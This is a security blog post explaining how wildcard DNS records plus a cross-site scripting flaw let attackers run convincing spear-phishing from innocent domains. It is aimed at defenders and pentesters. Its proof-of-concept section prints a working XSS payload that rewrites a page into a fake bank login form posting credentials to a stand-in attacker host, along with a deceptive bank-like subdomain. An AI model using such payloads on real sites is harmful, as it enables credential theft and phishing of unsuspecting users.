TL;DR: Millions of domains on the web use wildcard DNS records as “catch all’s” for all subdomains of their parent domain. When combined with a Cross-Site Scripting (XSS) flaw this allows remote attackers to use these sites to launch convincing XSS based spear phishing attacks that appear to source from these domains. These become free attack platforms for ne’er do-wells on the Internet.

If you want to see a practical example of an attack, skip down to section titled “Attack Proof of Concept“.

Also, to aide in understanding and to avoid having to read a bunch, I made a video (5:42 long) to compliment this blog: https://youtu.be/n6CWVh39DKI.

Background

While profiling organizations’ DNS for a pentesting engagement, or reviewing website access logs as a security analyst, you may come across oddities in URL’s accessed. You may see things like this:  http://obviouslynotreal.clientwebsite.com or http://XXXadultsite.clientwebsite.com. If you find that these requests are being honored, and resolve to the parent domain of the request, this is a telltale sign that the website is being used by malicious actors in a spearfishing campaign. And there is also a high probability there is an XSS in the site as well.

I’ve begun to notice when simply using search engines to passively profile clients external DNS presence for pentests that some odd results will pop-up. In one recent case, some very obvious fake subdomains were indexed by google, showing up in search results for: “site:clientdomain.com”. What was found to have happened was that malicious URLs used in spearfishing campaigns had been indexed by the Google spam filter (postini) for the client, and ended up in the search results for that clients domain. A side-bar discussion is what wildcard DNS records can do for (or how they can hurt) your brand. Having some nasty subdomains appear to be sanctioned portions for your company’s websites doesn’t look so hot.

This issue is not new (netcraft in 2005 netcraft in 2009), and has been reported on for years. But, not many people seem to care, or understand. If you’re a defender, perhaps this information can help you configure your logging systems to identify if attackers are using your hosts as attack platforms to lure victims via phishing. If you’re an assessor/pentester, perhaps you can start adding more context to why organizations should fix those external XSS flaws you’ve identified in your reports.

Some VERY brief background. Assuming you understand what DNS is (maps human readable names to IP addresses). A wildcard DNS record (something like *.yourdomain.com) is used by a huge number of domains. Research here shows millions.

A wildcard DNS record, like the one I just mentioned above, will match any subdomain for a parent domain. If a user types in “bogus.domain.com” the response will direct users to domain.com. Here’s a live example: this is an about page for garfield.com – http://garfield.com/jim-davis. Now browse – http://notreal.garfield.com/jim-davis. See, it took you to the same place? I think you see where I’m going. Anything you put in place of “notreal” in the previous URL will resolve to garfield.com.

This is because a wildcard DNS record is in use. Now the crux of the issue: If a website has an XSS flaw, attackers can launch more convincing attacks against victims using the wildcard domain and will prep-end more legitimate looking subdomain text at the front of the domain. The idea being to coerce the victim into clicking or browsing the link.

Here is an example to drive home the point: http://legitbank.portalforlogin.com.testingsecureauth.garfield.com/jim-davis

Users may often see the first part of the URL, a trusted known site, and ignore the remaining portions.

Now you can combine that with an XSS payload on the host site and you have a convincing attack. Many people’s understanding of XSS flaws stops at the alert boxes they’ve seen pop-up from pentests. What people don’t realize is that you have, in many cases, the full power of Javascript at your disposal when abusing XSS flaws. There is a handy trick phishers (and pentesters) use to weaponize XSS vulnerabilities: InnerHTML. You can use InnerHTML via JavaScript to rewrite the contents of a webpage, without ever having to leave the page. When a victim browses the site, the page is redrawn for their browser and they see what the attacker wants them to see, but they never actually leave the domain. Other attacks, that are common, are redirecting users to a malicious site or serving up content via an iFrame. The list of XSS attacks can go on and on.

To help prove the point, I will show an example of using a wildcard DNS record + XSS (using innerHTML) to attack a victim. Keep in mind, when someone is performing incident response, the source of the attacks could possibly be an innocuous domain. The attackers are leveraging the flaw to launch these attacks and the domains being used are often in the dark that they are helping the bad guys.

Attack Proof of Concept

Below is an image of a domain I own’s DNS config. Notice the wildcard entry.

The site at cyber-cyber-cyber.co also suffers from a XSS flaw (that I put there), in that if you provide JavaScript to the HTTP parameter user the JavaSript will be rendered by the browser.

If a user were to click on the following link

http://cyber-cyber-cyber.co/fishing.php?user=test<script>alert("im_vuln_to_xss")</script>

they would land on the page at cyber-cyber-cyber.co and the JavaScript between the <script> tags would execute.

In the below image the JavaScript code:

<script>alert("im_vuln_to_xss")</script>

is passed to the user parameter and causes an alert box to pop up on the page. This is the most generic, basic XSS flaw. The JavaScript is passed to the browser, and the browser executes it. Simple.

We can see, if we view the source of the above webpage, the script tags that had been passed via the URL looks like valid script tags to the browser, and is therefore executed.

But you know this. Now let’s demonstrate a more real-world example of how this attack can abuse XSS and combine it with the wildcard DNS issue.

Rather than the JavaScript alert, I will use innerHTML to rewrite the content of the page to an attacker controlled form. I’ll also use a more convincing DNS name in an attempt to coerce a user into first clicking the link, then submitting their credentials.

First let’s abuse the wildcard DNS issue. We can prepend anything we want, so let’s try to make the user think they’re clicking a link to legitbank.com.

http://login.legitbank.com.uid-dfbdsbnbnrwnbwtrnq436534y35yfsd.cyber-cyber-cyber.co

Now examine this URL (which is not live, it is meant to be visually inspected) which is using innerHTML and a bogus subdomain (note i’ve made it multiple lines for easier viewing, this is one link):

http://login.legitbank.com.uid-dfbdsbnbnrwnbwtrnq436534y35yfsd.cyber-cyber-cyber.co/fishing.php?user=
test<script>document.documentElement.innerHTML = '<html>Totally Legit Bank Login
<img src="http://icons.iconarchive.com/icons/chrisbanks2/cold-fusion-hd/128/ dollar-sign-icon.png"></img>
<form action="http://evilbadsite.com/hax0rform.php">Username:<input type="text" name="username">Password:
<input type="password" name="password"><input type="submit" value="Submit"></form>
</html>';</script>

What happens when this URL is visited is the contents of the innerHTML portion of the JavaScript is written in the user’s browser; the HTML on the page is re-written just for that user’s session. In this case it is a simple HTML form, purporting to be from legitbank.com. Take note, the user is not redirected anywhere. From the browser’s perspective the user is sitting on the fishing.php page hosted at cyber-cyber-cyber.co. The HTML form is drawn up within the user’s browser.

This form will harvest the user’s credentials if they provide their credentials and click Submit. This is an example of how wildcard DNS + XSS can lead to a cheap and easy spear phishing attack, abusing otherwise benign websites on the web.